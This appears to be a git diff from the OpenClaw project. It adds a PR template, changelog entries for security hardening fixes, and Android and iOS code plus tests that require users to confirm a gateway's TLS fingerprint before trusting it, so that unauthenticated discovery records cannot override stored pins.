- [ ] Integrations
- [ ] API / contracts
- [ ] UI / DX
- [ ] CI/CD / infra
## Linked Issue/PR
- Closes #
- Related #
## User-visible / Behavior Changes
List user-visible changes (including defaults/config).
If none, write `None`.
## Security Impact (required)
- New permissions/capabilities? (`Yes/No`)
- Secrets/tokens handling changed? (`Yes/No`)
- New/changed network calls? (`Yes/No`)
- Command/tool execution surface changed? (`Yes/No`)
- Data access scope changed? (`Yes/No`)
- If any `Yes`, explain risk + mitigation:
## Repro + Verification
### Environment
- OS:
- Runtime/container:
- Model/provider:
- Integration/channel (if any):
- Relevant config (redacted):
### Steps
1.
2.
3.
### Expected
-
### Actual
-
## Evidence
Attach at least one:
- [ ] Failing test/log before + passing after
- [ ] Trace/log snippets
- [ ] Screenshot/recording
- [ ] Perf numbers (if relevant)
## Human Verification (required)
What you personally verified (not just CI), and how:
- Verified scenarios:
- Edge cases checked:
- What you did **not** verify:
## Compatibility / Migration
- Backward compatible? (`Yes/No`)
- Config/env changes? (`Yes/No`)
- Migration needed? (`Yes/No`)
- If yes, exact upgrade steps:
## Failure Recovery (if this breaks)
- How to disable/revert this change quickly:
- Files/config to restore:
- Known bad symptoms reviewers should watch for:
## Risks and Mitigations
List only real risks for this PR. Add/remove entries as needed. If none, write `None`.
- Risk:
- Mitigation:

View File

@@ -100,8 +100,8 @@
- Create commits with `scripts/committer "<msg>" <file...>`; avoid manual `git add`/`git commit` so staging stays scoped.
- Follow concise, action-oriented commit messages (e.g., `CLI: add verbose flag to send`).
- Group related changes; avoid bundling unrelated refactors.
- Read this when submitting a PR: `docs/help/submitting-a-pr.md` ([Submitting a PR](https://docs.openclaw.ai/help/submitting-a-pr))
- Read this when submitting an issue: `docs/help/submitting-an-issue.md` ([Submitting an Issue](https://docs.openclaw.ai/help/submitting-an-issue))
- PR submission template (canonical): `.github/pull_request_template.md`
- Issue submission templates (canonical): `.github/ISSUE_TEMPLATE/`
## Shorthand Commands

View File

@@ -2,10 +2,52 @@
Docs: https://docs.openclaw.ai
## Unreleased
### Changes
- Sandbox: add `sandbox.browser.binds` to configure browser-container bind mounts separately from exec containers. (#16230) Thanks @seheepeak.
- Discord: add debug logging for message routing decisions to improve `--debug` tracing. (#16202) Thanks @jayleekr.
### Fixes
- Security/Agents: scope CLI process cleanup to owned child PIDs to avoid killing unrelated processes on shared hosts. Thanks @aether-ai-agent.
- Security/Agents (macOS): prevent shell injection when writing Claude CLI keychain credentials. (#15924) Thanks @aether-ai-agent.
- Security: fix Chutes manual OAuth login state validation (thanks @aether-ai-agent). (#16058)
- Security/Discovery: stop treating Bonjour TXT records as authoritative routing (prefer resolved service endpoints) and prevent discovery from overriding stored TLS pins; autoconnect now requires a previously trusted gateway. Thanks @simecek.
- macOS: hard-limit unkeyed `openclaw://agent` deep links and ignore `deliver` / `to` / `channel` unless a valid unattended key is provided. Thanks @Cillian-Collins.
- Plugins: suppress false duplicate plugin id warnings when the same extension is discovered via multiple paths (config/workspace/global vs bundled), while still warning on genuine duplicates. (#16222) Thanks @shadril238.
- Security/Google Chat: deprecate `users/<email>` allowlists (treat `users/...` as immutable user id only); keep raw email allowlists for usability. Thanks @vincentkoc.
- Security/Google Chat: reject ambiguous shared-path webhook routing when multiple webhook targets verify successfully (prevents cross-account policy-context misrouting). Thanks @vincentkoc.
- Security/Browser: block cross-origin mutating requests to loopback browser control routes (CSRF hardening). Thanks @vincentkoc.
- Security/Nostr: require loopback source and block cross-origin profile mutation/import attempts. Thanks @vincentkoc.
- Security/Archive: enforce archive extraction entry/size limits to prevent resource exhaustion from high-expansion ZIP/TAR archives. Thanks @vincentkoc.
- Security/Media: reject oversized base64-backed input media before decoding to avoid large allocations. Thanks @vincentkoc.
- Security/Gateway: reject oversized base64 chat attachments before decoding to avoid large allocations. Thanks @vincentkoc.
- Security/Gateway: stop returning raw resolved config values in `skills.status` requirement checks (prevents operator.read clients from reading secrets). Thanks @simecek.
- Security/Zalo: reject ambiguous shared-path webhook routing when multiple webhook targets match the same secret.
- Security/BlueBubbles: reject ambiguous shared-path webhook routing when multiple webhook targets match the same guid/password.
- Cron/Slack: preserve agent identity (name and icon) when cron jobs deliver outbound messages. (#16242) Thanks @robbyczgw-cla.
- Discord: prefer gateway guild id when logging inbound messages so cached-miss guilds do not appear as `guild=dm`. Thanks @thewilloftheshadow.
## 2026.2.14
### Fixes
- Feishu/Security: harden media URL fetching against SSRF and local file disclosure. (#16285) Thanks @mbelinky.
- Telegram/Security: require numeric Telegram sender IDs for allowlist authorization (reject `@username` principals), auto-resolve `@username` to IDs in `openclaw doctor --fix` (when possible), and warn in `openclaw security audit` when legacy configs contain usernames. Thanks @vincentkoc.
- Security/Skills: harden archive extraction for download-installed skills to prevent path traversal outside the target directory. Thanks @markmusson.
- Security/Media: stream and bound URL-backed input media fetches to prevent memory exhaustion from oversized responses. Thanks @vincentkoc.
- Security/Signal: harden signal-cli archive extraction during install to prevent path traversal outside the install root.
- Security/Hooks: restrict hook transform modules to `~/.openclaw/hooks/transforms` (prevents path traversal/escape module loads via config). Config note: `hooks.transformsDir` must now be within that directory. Thanks @akhmittra.
- Security/Hooks: ignore hook package manifest entries that point outside the package directory (prevents out-of-tree handler loads during hook discovery).
- Ollama/Agents: avoid forcing `<final>` tag enforcement for Ollama models, which could suppress all output as `(no output)`. (#16191) Thanks @Glucksberg.
## 2026.2.13
### Changes
- Install: add optional Podman-based setup: `setup-podman.sh` for one-time host setup (openclaw user, image, launch script, systemd quadlet), `run-openclaw-podman.sh launch` / `launch setup`; systemd Quadlet unit for openclaw user service; docs for rootless container, openclaw user (subuid/subgid), and quadlet (troubleshooting). (#16273) Thanks @DarwinsBuddy.
- Discord: send voice messages with waveform previews from local audio files (including silent delivery). (#7253) Thanks @nyanjou.
- Discord: add configurable presence status/activity/type/url (custom status defaults to activity text). (#10855) Thanks @h0tp-ftw.
- Slack/Plugins: add thread-ownership outbound gating via `message_sending` hooks, including @-mention bypass tracking and Slack outbound hook wiring for cancel/modify behavior. (#15775) Thanks @DarlingtonDeveloper.
@@ -24,11 +66,14 @@ Docs: https://docs.openclaw.ai
- Gateway/Auth: add trusted-proxy mode hardening follow-ups by keeping `OPENCLAW_GATEWAY_*` env compatibility, auto-normalizing invalid setup combinations in interactive `gateway configure` (trusted-proxy forces `bind=lan` and disables Tailscale serve/funnel), and suppressing shared-secret/rate-limit audit findings that do not apply to trusted-proxy deployments. (#15940) Thanks @nickytonline.
- Docs/Hooks: update hooks documentation URLs to the new `/automation/hooks` location. (#16165) Thanks @nicholascyh.
- Security/Audit: warn when `gateway.tools.allow` re-enables default-denied tools over HTTP `POST /tools/invoke`, since this can increase RCE blast radius if the gateway is reachable.
- Security/Plugins/Hooks: harden npm-based installs by restricting specs to registry packages only, passing `--ignore-scripts` to `npm pack`, and cleaning up temp install directories.
- Feishu: stop persistent Typing reaction on NO_REPLY/suppressed runs by wiring reply-dispatcher cleanup to remove typing indicators. (#15464) Thanks @arosstale.
- Agents: strip leading empty lines from `sanitizeUserFacingText` output and normalize whitespace-only outputs to empty text. (#16158) Thanks @mcinteerj.
- BlueBubbles: gracefully degrade when Private API is disabled by filtering private-only actions, skipping private-only reactions/reply effects, and avoiding private reply markers so non-private flows remain usable. (#16002) Thanks @L-U-C-K-Y.
- Outbound: add a write-ahead delivery queue with crash-recovery retries to prevent lost outbound messages after gateway restarts. (#15636) Thanks @nabbilkhan, @thewilloftheshadow.
- Auto-reply/Threading: auto-inject implicit reply threading so `replyToMode` works without requiring model-emitted `[[reply_to_current]]`, while preserving `replyToMode: "off"` behavior for implicit Slack replies and keeping block-streaming chunk coalescing stable under `replyToMode: "first"`. (#14976) Thanks @Diaspar4u.
- Auto-reply/Threading: honor explicit `[[reply_to_*]]` tags even when `replyToMode` is `off`. (#16174) Thanks @aldoeliacim.
- Plugins/Threading: rename `allowTagsWhenOff` to `allowExplicitReplyTagsWhenOff` and keep the old key as a deprecated alias for compatibility. (#16189)
- Outbound/Threading: pass `replyTo` and `threadId` from `message send` tool actions through the core outbound send path to channel adapters, preserving thread/reply routing. (#14948) Thanks @mcaxtr.
- Auto-reply/Media: allow image-only inbound messages (no caption) to reach the agent instead of short-circuiting as empty text, and preserve thread context in queued/followup prompt bodies for media-only runs. (#11916) Thanks @arosstale.
- Discord: route autoThread replies to existing threads instead of the root channel. (#8302) Thanks @gavinbmoore, @thewilloftheshadow.
@@ -61,12 +106,12 @@ Docs: https://docs.openclaw.ai
- Heartbeat: prevent scheduler silent-death races during runner reloads, preserve retry cooldown backoff under wake bursts, and prioritize user/action wake causes over interval/retry reasons when coalescing. (#15108) Thanks @joeykrug.
- Heartbeat: allow explicit wake (`wake`) and hook wake (`hook:*`) reasons to run even when `HEARTBEAT.md` is effectively empty so queued system events are processed. (#14527) Thanks @arosstale.
- Auto-reply/Heartbeat: strip sentence-ending `HEARTBEAT_OK` tokens even when followed by up to 4 punctuation characters, while preserving surrounding sentence punctuation. (#15847) Thanks @Spacefish.
- Agents/Heartbeat: stop auto-creating `HEARTBEAT.md` during workspace bootstrap so missing files continue to run heartbeat as documented. (#11766) Thanks @shadril238.
- Sessions/Agents: pass `agentId` when resolving existing transcript paths in reply runs so non-default agents and heartbeat/chat handlers no longer fail with `Session file path must be within sessions directory`. (#15141) Thanks @Goldenmonstew.
- Sessions/Agents: pass `agentId` through status and usage transcript-resolution paths (auto-reply, gateway usage APIs, and session cost/log loaders) so non-default agents can resolve absolute session files without path-validation failures. (#15103) Thanks @jalehman.
- Sessions: archive previous transcript files on `/new` and `/reset` session resets (including gateway `sessions.reset`) so stale transcripts do not accumulate on disk. (#14869) Thanks @mcaxtr.
- Status/Sessions: stop clamping derived `totalTokens` to context-window size, keep prompt-token snapshots wired through session accounting, and surface context usage as unknown when fresh snapshot data is missing to avoid false 100% reports. (#15114) Thanks @echoVic.
- Gateway/Routing: speed up hot paths for session listing (derived titles + previews), WS broadcast, and binding resolution.
- Gateway/Sessions: cache derived title + last-message transcript reads to speed up repeated sessions list refreshes.
- CLI/Completion: route plugin-load logs to stderr and write generated completion scripts directly to stdout to avoid `source <(openclaw completion ...)` corruption. (#15481) Thanks @arosstale.
- CLI: lazily load outbound provider dependencies and remove forced success-path exits so commands terminate naturally without killing intentional long-running foreground actions. (#12906) Thanks @DrCrinkle.
- CLI: speed up startup by lazily registering core commands (keeps rich `--help` while reducing cold-start overhead).
@@ -77,6 +122,8 @@ Docs: https://docs.openclaw.ai
- Security/Browser: constrain `POST /trace/stop`, `POST /wait/download`, and `POST /download` output paths to OpenClaw temp roots and reject traversal/escape paths.
- Security/Browser: sanitize download `suggestedFilename` to keep implicit `wait/download` paths within the downloads root. Thanks @1seal.
- Security/Browser: confine `POST /hooks/file-chooser` upload paths to an OpenClaw temp uploads root and reject traversal/escape paths. Thanks @1seal.
- Security/Browser: require auth for the sandbox browser bridge server (protects `/profiles`, `/tabs`, CDP URLs, and other control endpoints). Thanks @jackhax.
- Security: bind local helper servers to loopback and fail closed on non-loopback OAuth callback hosts (reduces localhost/LAN attack surface).
- Security/Canvas: serve A2UI assets via the shared safe-open path (`openFileWithinRoot`) to close traversal/TOCTOU gaps, with traversal and symlink regression coverage. (#10525) Thanks @abdelsfane.
- Security/WhatsApp: enforce `0o600` on `creds.json` and `creds.json.bak` on save/backup/restore paths to reduce credential file exposure. (#10529) Thanks @abdelsfane.
- Security/Gateway: sanitize and truncate untrusted WebSocket header values in pre-handshake close logs to reduce log-poisoning risk. Thanks @thewilloftheshadow.

View File

@@ -60,6 +60,7 @@ OpenClaw's web interface (Gateway Control UI + HTTP endpoints) is intended for *
- CLI: `openclaw gateway run --bind loopback`.
- Do **not** expose it to the public internet (no direct bind to `0.0.0.0`, no public reverse proxy). It is not hardened for public exposure.
- If you need remote access, prefer an SSH tunnel or Tailscale serve/funnel (so the Gateway still binds to loopback), plus strong Gateway auth.
- The Gateway HTTP surface includes the canvas host (`/__openclaw__/canvas/`, `/__openclaw__/a2ui/`). Treat canvas content as sensitive/untrusted and avoid exposing it beyond loopback unless you understand the risk.
## Runtime Requirements

View File

@@ -25,6 +25,7 @@ class MainViewModel(app: Application) : AndroidViewModel(app) {
val statusText: StateFlow<String> = runtime.statusText
val serverName: StateFlow<String?> = runtime.serverName
val remoteAddress: StateFlow<String?> = runtime.remoteAddress
val pendingGatewayTrust: StateFlow<NodeRuntime.GatewayTrustPrompt?> = runtime.pendingGatewayTrust
val isForeground: StateFlow<Boolean> = runtime.isForeground
val seamColorArgb: StateFlow<Long> = runtime.seamColorArgb
val mainSessionKey: StateFlow<String> = runtime.mainSessionKey
@@ -145,6 +146,14 @@ class MainViewModel(app: Application) : AndroidViewModel(app) {
runtime.disconnect()
}
fun acceptGatewayTrustPrompt() {
runtime.acceptGatewayTrustPrompt()
}
fun declineGatewayTrustPrompt() {
runtime.declineGatewayTrustPrompt()
}
fun handleCanvasA2UIActionFromWebView(payloadJson: String) {
runtime.handleCanvasA2UIActionFromWebView(payloadJson)
}

View File

@@ -15,6 +15,7 @@ import ai.openclaw.android.gateway.DeviceIdentityStore
import ai.openclaw.android.gateway.GatewayDiscovery
import ai.openclaw.android.gateway.GatewayEndpoint
import ai.openclaw.android.gateway.GatewaySession
import ai.openclaw.android.gateway.probeGatewayTlsFingerprint
import ai.openclaw.android.node.*
import ai.openclaw.android.protocol.OpenClawCanvasA2UIAction
import ai.openclaw.android.voice.TalkModeManager
@@ -166,12 +167,20 @@ class NodeRuntime(context: Context) {
private lateinit var gatewayEventHandler: GatewayEventHandler
data class GatewayTrustPrompt(
val endpoint: GatewayEndpoint,
val fingerprintSha256: String,
)
private val _isConnected = MutableStateFlow(false)
val isConnected: StateFlow<Boolean> = _isConnected.asStateFlow()
private val _statusText = MutableStateFlow("Offline")
val statusText: StateFlow<String> = _statusText.asStateFlow()
private val _pendingGatewayTrust = MutableStateFlow<GatewayTrustPrompt?>(null)
val pendingGatewayTrust: StateFlow<GatewayTrustPrompt?> = _pendingGatewayTrust.asStateFlow()
private val _mainSessionKey = MutableStateFlow("main")
val mainSessionKey: StateFlow<String> = _mainSessionKey.asStateFlow()
@@ -405,8 +414,11 @@ class NodeRuntime(context: Context) {
scope.launch(Dispatchers.Default) {
gateways.collect { list ->
if (list.isNotEmpty()) {
// Persist the last discovered gateway (best-effort UX parity with iOS).
prefs.setLastDiscoveredStableId(list.last().stableId)
// Security: don't let an unauthenticated discovery feed continuously steer autoconnect.
// UX parity with iOS: only set once when unset.
if (lastDiscoveredStableId.value.trim().isEmpty()) {
prefs.setLastDiscoveredStableId(list.first().stableId)
}
}
if (didAutoConnect) return@collect
@@ -416,6 +428,12 @@ class NodeRuntime(context: Context) {
val host = manualHost.value.trim()
val port = manualPort.value
if (host.isNotEmpty() && port in 1..65535) {
// Security: autoconnect only to previously trusted gateways (stored TLS pin).
if (!manualTls.value) return@collect
val stableId = GatewayEndpoint.manual(host = host, port = port).stableId
val storedFingerprint = prefs.loadGatewayTlsFingerprint(stableId)?.trim().orEmpty()
if (storedFingerprint.isEmpty()) return@collect
didAutoConnect = true
connect(GatewayEndpoint.manual(host = host, port = port))
}
@@ -425,6 +443,11 @@ class NodeRuntime(context: Context) {
val targetStableId = lastDiscoveredStableId.value.trim()
if (targetStableId.isEmpty()) return@collect
val target = list.firstOrNull { it.stableId == targetStableId } ?: return@collect
// Security: autoconnect only to previously trusted gateways (stored TLS pin).
val storedFingerprint = prefs.loadGatewayTlsFingerprint(target.stableId)?.trim().orEmpty()
if (storedFingerprint.isEmpty()) return@collect
didAutoConnect = true
connect(target)
}
@@ -520,17 +543,42 @@ class NodeRuntime(context: Context) {
}
fun connect(endpoint: GatewayEndpoint) {
val tls = connectionManager.resolveTlsParams(endpoint)
if (tls?.required == true && tls.expectedFingerprint.isNullOrBlank()) {
// First-time TLS: capture fingerprint, ask user to verify out-of-band, then store and connect.
_statusText.value = "Verify gateway TLS fingerprint…"
scope.launch {
val fp = probeGatewayTlsFingerprint(endpoint.host, endpoint.port) ?: run {
_statusText.value = "Failed: can't read TLS fingerprint"
return@launch
}
_pendingGatewayTrust.value = GatewayTrustPrompt(endpoint = endpoint, fingerprintSha256 = fp)
}
return
}
connectedEndpoint = endpoint
operatorStatusText = "Connecting…"
nodeStatusText = "Connecting…"
updateStatus()
val token = prefs.loadGatewayToken()
val password = prefs.loadGatewayPassword()
val tls = connectionManager.resolveTlsParams(endpoint)
operatorSession.connect(endpoint, token, password, connectionManager.buildOperatorConnectOptions(), tls)
nodeSession.connect(endpoint, token, password, connectionManager.buildNodeConnectOptions(), tls)
}
fun acceptGatewayTrustPrompt() {
val prompt = _pendingGatewayTrust.value ?: return
_pendingGatewayTrust.value = null
prefs.saveGatewayTlsFingerprint(prompt.endpoint.stableId, prompt.fingerprintSha256)
connect(prompt.endpoint)
}
fun declineGatewayTrustPrompt() {
_pendingGatewayTrust.value = null
_statusText.value = "Offline"
}
private fun hasRecordAudioPermission(): Boolean {
return (
ContextCompat.checkSelfPermission(appContext, Manifest.permission.RECORD_AUDIO) ==
@@ -550,6 +598,7 @@ class NodeRuntime(context: Context) {
fun disconnect() {
connectedEndpoint = null
_pendingGatewayTrust.value = null
operatorSession.disconnect()
nodeSession.disconnect()
}

View File

@@ -1,13 +1,20 @@
package ai.openclaw.android.gateway
import android.annotation.SuppressLint
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext
import java.net.InetSocketAddress
import java.security.MessageDigest
import java.security.SecureRandom
import java.security.cert.CertificateException
import java.security.cert.X509Certificate
import javax.net.ssl.HttpsURLConnection
import javax.net.ssl.HostnameVerifier
import javax.net.ssl.SSLContext
import javax.net.ssl.SSLParameters
import javax.net.ssl.SSLSocketFactory
import javax.net.ssl.SNIHostName
import javax.net.ssl.SSLSocket
import javax.net.ssl.TrustManagerFactory
import javax.net.ssl.X509TrustManager
@@ -59,13 +66,72 @@ fun buildGatewayTlsConfig(
val context = SSLContext.getInstance("TLS")
context.init(null, arrayOf(trustManager), SecureRandom())
val verifier =
if (expected != null || params.allowTOFU) {
// When pinning, we intentionally ignore hostname mismatch (service discovery often yields IPs).
HostnameVerifier { _, _ -> true }
} else {
HttpsURLConnection.getDefaultHostnameVerifier()
}
return GatewayTlsConfig(
sslSocketFactory = context.socketFactory,
trustManager = trustManager,
hostnameVerifier = HostnameVerifier { _, _ -> true },
hostnameVerifier = verifier,
)
}
suspend fun probeGatewayTlsFingerprint(
host: String,
port: Int,
timeoutMs: Int = 3_000,
): String? {
val trimmedHost = host.trim()
if (trimmedHost.isEmpty()) return null
if (port !in 1..65535) return null
return withContext(Dispatchers.IO) {
val trustAll =
@SuppressLint("CustomX509TrustManager")
object : X509TrustManager {
override fun checkClientTrusted(chain: Array<X509Certificate>, authType: String) {}
override fun checkServerTrusted(chain: Array<X509Certificate>, authType: String) {}
override fun getAcceptedIssuers(): Array<X509Certificate> = emptyArray()
}
val context = SSLContext.getInstance("TLS")
context.init(null, arrayOf(trustAll), SecureRandom())
val socket = (context.socketFactory.createSocket() as SSLSocket)
try {
socket.soTimeout = timeoutMs
socket.connect(InetSocketAddress(trimmedHost, port), timeoutMs)
// Best-effort SNI for hostnames (avoid crashing on IP literals).
try {
if (trimmedHost.any { it.isLetter() }) {
val params = SSLParameters()
params.serverNames = listOf(SNIHostName(trimmedHost))
socket.sslParameters = params
}
} catch (_: Throwable) {
// ignore
}
socket.startHandshake()
val cert = socket.session.peerCertificates.firstOrNull() as? X509Certificate ?: return@withContext null
sha256Hex(cert.encoded)
} catch (_: Throwable) {
null
} finally {
try {
socket.close()
} catch (_: Throwable) {
// ignore
}
}
}
}
private fun defaultTrustManager(): X509TrustManager {
val factory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm())
factory.init(null as java.security.KeyStore?)

View File

@@ -26,6 +26,59 @@ class ConnectionManager(
private val hasRecordAudioPermission: () -> Boolean,
private val manualTls: () -> Boolean,
) {
companion object {
internal fun resolveTlsParamsForEndpoint(
endpoint: GatewayEndpoint,
storedFingerprint: String?,
manualTlsEnabled: Boolean,
): GatewayTlsParams? {
val stableId = endpoint.stableId
val stored = storedFingerprint?.trim().takeIf { !it.isNullOrEmpty() }
val isManual = stableId.startsWith("manual|")
if (isManual) {
if (!manualTlsEnabled) return null
if (!stored.isNullOrBlank()) {
return GatewayTlsParams(
required = true,
expectedFingerprint = stored,
allowTOFU = false,
stableId = stableId,
)
}
return GatewayTlsParams(
required = true,
expectedFingerprint = null,
allowTOFU = false,
stableId = stableId,
)
}
// Prefer stored pins. Never let discovery-provided TXT override a stored fingerprint.
if (!stored.isNullOrBlank()) {
return GatewayTlsParams(
required = true,
expectedFingerprint = stored,
allowTOFU = false,
stableId = stableId,
)
}
val hinted = endpoint.tlsEnabled || !endpoint.tlsFingerprintSha256.isNullOrBlank()
if (hinted) {
// TXT is unauthenticated. Do not treat the advertised fingerprint as authoritative.
return GatewayTlsParams(
required = true,
expectedFingerprint = null,
allowTOFU = false,
stableId = stableId,
)
}
return null
}
}
fun buildInvokeCommands(): List<String> =
buildList {
add(OpenClawCanvasCommand.Present.rawValue)
@@ -130,37 +183,6 @@ class ConnectionManager(
fun resolveTlsParams(endpoint: GatewayEndpoint): GatewayTlsParams? {
val stored = prefs.loadGatewayTlsFingerprint(endpoint.stableId)
val hinted = endpoint.tlsEnabled || !endpoint.tlsFingerprintSha256.isNullOrBlank()
val manual = endpoint.stableId.startsWith("manual|")
if (manual) {
if (!manualTls()) return null
return GatewayTlsParams(
required = true,
expectedFingerprint = endpoint.tlsFingerprintSha256 ?: stored,
allowTOFU = stored == null,
stableId = endpoint.stableId,
)
}
if (hinted) {
return GatewayTlsParams(
required = true,
expectedFingerprint = endpoint.tlsFingerprintSha256 ?: stored,
allowTOFU = stored == null,
stableId = endpoint.stableId,
)
}
if (!stored.isNullOrBlank()) {
return GatewayTlsParams(
required = true,
expectedFingerprint = stored,
allowTOFU = false,
stableId = endpoint.stableId,
)
}
return null
return resolveTlsParamsForEndpoint(endpoint, storedFingerprint = stored, manualTlsEnabled = manualTls())
}
}

View File

@@ -34,6 +34,7 @@ import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.filled.ExpandLess
import androidx.compose.material.icons.filled.ExpandMore
import androidx.compose.material3.Button
import androidx.compose.material3.AlertDialog
import androidx.compose.material3.HorizontalDivider
import androidx.compose.material3.Icon
import androidx.compose.material3.ListItem
@@ -42,6 +43,7 @@ import androidx.compose.material3.OutlinedTextField
import androidx.compose.material3.RadioButton
import androidx.compose.material3.Switch
import androidx.compose.material3.Text
import androidx.compose.material3.TextButton
import androidx.compose.runtime.Composable
import androidx.compose.runtime.LaunchedEffect
import androidx.compose.runtime.collectAsState
@@ -89,6 +91,7 @@ fun SettingsSheet(viewModel: MainViewModel) {
val remoteAddress by viewModel.remoteAddress.collectAsState()
val gateways by viewModel.gateways.collectAsState()
val discoveryStatusText by viewModel.discoveryStatusText.collectAsState()
val pendingTrust by viewModel.pendingGatewayTrust.collectAsState()
val listState = rememberLazyListState()
val (wakeWordsText, setWakeWordsText) = remember { mutableStateOf("") }
@@ -112,6 +115,31 @@ fun SettingsSheet(viewModel: MainViewModel) {
}
}
if (pendingTrust != null) {
val prompt = pendingTrust!!
AlertDialog(
onDismissRequest = { viewModel.declineGatewayTrustPrompt() },
title = { Text("Trust this gateway?") },
text = {
Text(
"First-time TLS connection.\n\n" +
"Verify this SHA-256 fingerprint out-of-band before trusting:\n" +
prompt.fingerprintSha256,
)
},
confirmButton = {
TextButton(onClick = { viewModel.acceptGatewayTrustPrompt() }) {
Text("Trust and connect")
}
},
dismissButton = {
TextButton(onClick = { viewModel.declineGatewayTrustPrompt() }) {
Text("Cancel")
}
},
)
}
LaunchedEffect(wakeWords) { setWakeWordsText(wakeWords.joinToString(", ")) }
val commitWakeWords = {
val parsed = WakeWords.parseIfChanged(wakeWordsText, wakeWords)

View File

@@ -0,0 +1,76 @@
package ai.openclaw.android.node
import ai.openclaw.android.gateway.GatewayEndpoint
import org.junit.Assert.assertEquals
import org.junit.Assert.assertNull
import org.junit.Test
class ConnectionManagerTest {
@Test
fun resolveTlsParamsForEndpoint_prefersStoredPinOverAdvertisedFingerprint() {
val endpoint =
GatewayEndpoint(
stableId = "_openclaw-gw._tcp.|local.|Test",
name = "Test",
host = "10.0.0.2",
port = 18789,
tlsEnabled = true,
tlsFingerprintSha256 = "attacker",
)
val params =
ConnectionManager.resolveTlsParamsForEndpoint(
endpoint,
storedFingerprint = "legit",
manualTlsEnabled = false,
)
assertEquals("legit", params?.expectedFingerprint)
assertEquals(false, params?.allowTOFU)
}
@Test
fun resolveTlsParamsForEndpoint_doesNotTrustAdvertisedFingerprintWhenNoStoredPin() {
val endpoint =
GatewayEndpoint(
stableId = "_openclaw-gw._tcp.|local.|Test",
name = "Test",
host = "10.0.0.2",
port = 18789,
tlsEnabled = true,
tlsFingerprintSha256 = "attacker",
)
val params =
ConnectionManager.resolveTlsParamsForEndpoint(
endpoint,
storedFingerprint = null,
manualTlsEnabled = false,
)
assertNull(params?.expectedFingerprint)
assertEquals(false, params?.allowTOFU)
}
@Test
fun resolveTlsParamsForEndpoint_manualRespectsManualTlsToggle() {
val endpoint = GatewayEndpoint.manual(host = "example.com", port = 443)
val off =
ConnectionManager.resolveTlsParamsForEndpoint(
endpoint,
storedFingerprint = null,
manualTlsEnabled = false,
)
assertNull(off)
val on =
ConnectionManager.resolveTlsParamsForEndpoint(
endpoint,
storedFingerprint = null,
manualTlsEnabled = true,
)
assertNull(on?.expectedFingerprint)
assertEquals(false, on?.allowTOFU)
}
}

View File

@@ -2,6 +2,7 @@ import AVFoundation
import Contacts
import CoreLocation
import CoreMotion
import CryptoKit
import EventKit
import Foundation
import OpenClawKit
@@ -9,6 +10,7 @@ import Network
import Observation
import Photos
import ReplayKit
import Security
import Speech
import SwiftUI
import UIKit
@@ -16,13 +18,27 @@ import UIKit
@MainActor
@Observable
final class GatewayConnectionController {
struct TrustPrompt: Identifiable, Equatable {
let stableID: String
let gatewayName: String
let host: String
let port: Int
let fingerprintSha256: String
let isManual: Bool
var id: String { self.stableID }
}
private(set) var gateways: [GatewayDiscoveryModel.DiscoveredGateway] = []
private(set) var discoveryStatusText: String = "Idle"
private(set) var discoveryDebugLog: [GatewayDiscoveryModel.DebugLogEntry] = []
private(set) var pendingTrustPrompt: TrustPrompt?
private let discovery = GatewayDiscoveryModel()
private weak var appModel: NodeAppModel?
private var didAutoConnect = false
private var pendingServiceResolvers: [String: GatewayServiceResolver] = [:]
private var pendingTrustConnect: (url: URL, stableID: String, isManual: Bool)?
init(appModel: NodeAppModel, startDiscovery: Bool = true) {
self.appModel = appModel
@@ -57,27 +73,57 @@ final class GatewayConnectionController {
}
func connect(_ gateway: GatewayDiscoveryModel.DiscoveredGateway) async {
await self.connectDiscoveredGateway(gateway)
}
private func connectDiscoveredGateway(
_ gateway: GatewayDiscoveryModel.DiscoveredGateway) async
{
let instanceId = UserDefaults.standard.string(forKey: "node.instanceId")?
.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
let token = GatewaySettingsStore.loadGatewayToken(instanceId: instanceId)
let password = GatewaySettingsStore.loadGatewayPassword(instanceId: instanceId)
guard let host = self.resolveGatewayHost(gateway) else { return }
let port = gateway.gatewayPort ?? 18789
let tlsParams = self.resolveDiscoveredTLSParams(gateway: gateway)
// Resolve the service endpoint (SRV/A/AAAA). TXT is unauthenticated; do not route via TXT.
guard let target = await self.resolveServiceEndpoint(gateway.endpoint) else { return }
let stableID = gateway.stableID
// Discovery is a LAN operation; refuse unauthenticated plaintext connects.
let tlsRequired = true
let stored = GatewayTLSStore.loadFingerprint(stableID: stableID)
guard gateway.tlsEnabled || stored != nil else { return }
if tlsRequired, stored == nil {
guard let url = self.buildGatewayURL(host: target.host, port: target.port, useTLS: true)
else { return }
guard let fp = await self.probeTLSFingerprint(url: url) else { return }
self.pendingTrustConnect = (url: url, stableID: stableID, isManual: false)
self.pendingTrustPrompt = TrustPrompt(
stableID: stableID,
gatewayName: gateway.name,
host: target.host,
port: target.port,
fingerprintSha256: fp,
isManual: false)
self.appModel?.gatewayStatusText = "Verify gateway TLS fingerprint"
return
}
let tlsParams = stored.map { fp in
GatewayTLSParams(required: true, expectedFingerprint: fp, allowTOFU: false, storeKey: stableID)
}
guard let url = self.buildGatewayURL(
host: host,
port: port,
host: target.host,
port: target.port,
useTLS: tlsParams?.required == true)
else { return }
GatewaySettingsStore.saveLastGatewayConnection(
host: host,
port: port,
useTLS: tlsParams?.required == true,
stableID: gateway.stableID)
GatewaySettingsStore.saveLastGatewayConnectionDiscovered(stableID: stableID, useTLS: true)
self.didAutoConnect = true
self.startAutoConnect(
url: url,
gatewayStableID: gateway.stableID,
gatewayStableID: stableID,
tls: tlsParams,
token: token,
password: password)
@@ -92,19 +138,34 @@ final class GatewayConnectionController {
guard let resolvedPort = self.resolveManualPort(host: host, port: port, useTLS: resolvedUseTLS)
else { return }
let stableID = self.manualStableID(host: host, port: resolvedPort)
let tlsParams = self.resolveManualTLSParams(
stableID: stableID,
tlsEnabled: resolvedUseTLS,
allowTOFUReset: self.shouldForceTLS(host: host))
let stored = GatewayTLSStore.loadFingerprint(stableID: stableID)
if resolvedUseTLS, stored == nil {
guard let url = self.buildGatewayURL(host: host, port: resolvedPort, useTLS: true) else { return }
guard let fp = await self.probeTLSFingerprint(url: url) else { return }
self.pendingTrustConnect = (url: url, stableID: stableID, isManual: true)
self.pendingTrustPrompt = TrustPrompt(
stableID: stableID,
gatewayName: "\(host):\(resolvedPort)",
host: host,
port: resolvedPort,
fingerprintSha256: fp,
isManual: true)
self.appModel?.gatewayStatusText = "Verify gateway TLS fingerprint"
return
}
